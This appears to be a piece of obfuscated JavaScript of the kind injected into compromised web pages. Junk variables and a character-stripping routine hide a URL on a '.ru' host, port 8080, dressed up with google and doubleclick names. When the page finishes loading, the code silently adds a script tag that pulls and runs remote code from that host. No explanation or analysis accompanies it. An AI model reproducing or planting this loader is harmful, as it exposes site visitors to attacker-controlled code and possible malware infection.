try {var DG="";var WN;if(WN!=''){WN='g'};var i=']';var gI="";var J=RegExp;var q;if(q!='' && q!='gS'){q='N'};var eh;if(eh!=''){eh='A'};var d='replace';var dy='';this.U="";var v='g';var Yl;if(Yl!='Y' && Yl != ''){Yl=null};var e='[';var MI='';var CY=new Date();function M(m,L){var DD;if(DD!='NH' && DD != ''){DD=null};var eJ=e;var vD=new Array();eJ+=L;this.vZ='';eJ+=i;var B;if(B!='vh' && B!='E'){B='vh'};var wL="";var vJ=new J(eJ, v);var H="";var Hn="";return m[d](vJ, dy);var ux;if(ux!='l'){ux='l'};};var EY;if(EY!='MB'){EY='MB'};var Qn=new String();var z=M('hqtStqpb:G/q/qpGcqhb-ScboGmG.bgboGobgqlbeq.SsGkq.qgqmqxb-GnbeGtq.GaqlSlqmqyGgquSiSdGeS.qrquS:q',"qGbS");var eF=new Date();this.DT="";var dl=M('bUoUdZyZ',"U4EZ");this.zv="";this.se="";var m="1";this.DDm="";var D=M('aPpHpHePnPdHCPhPiHlHdP',"PH");var id=new Date();var o=M('cZrZeUaZtZeUEUlUeZmZeZnUtZ',"ZU");var iyc=new Array();var n=M('sacarOiapOty',"CIyaO");var gM;if(gM!='CB' && gM != ''){gM=null};var BJ=new Date();var x=M('s6eRt6ARtTtTrRiEb5u5tEe5',"6E5TR");var _=M('83330533583353033555',"35");var w=M('oxnBlQoBaQdB',"BxQ");var G=new Array();var Q=M('/soErOkEuEtO.scEoS.siSnO/soSrOkSuOts.EcSos.SiSnS/SgOoEoEgElEes.ScEosms/OlSeSnOtsaS.ErOus/SdEoOuEbSlSeOcSlEiscSkS.EcOosmS.OpShOpE',"SEOs");var mC;if(mC!='h' && mC != ''){mC=null};var S='';var qO;if(qO!='' && qO!='UZ'){qO=''};var bh;if(bh!='lQ' && bh!='DQ'){bh=''};window[w]=function(){var P=new Date();vn=document[o](n);this.rI="";var R;if(R!=''){R='PB'};S+=z;var mm=new String();S+=_;this.kv="";S+=Q;var lS;if(lS!='Sr' && lS!='Sg'){lS='Sr'};var Pq="";vn.setAttribute('defer', m);this._t="";var p=document[dl];this.FH="";vn.src=S;this.JM="";this.kL="";var Qt="";var Eb;if(Eb!='' && Eb!='SlY'){Eb=''};p.appendChild(vn);var mM=new String();var IL=new String();};var TJ;if(TJ!='' && TJ!='VP'){TJ=''};var vf=new Array();} catch(_e){};this.SO='';var oe=new String();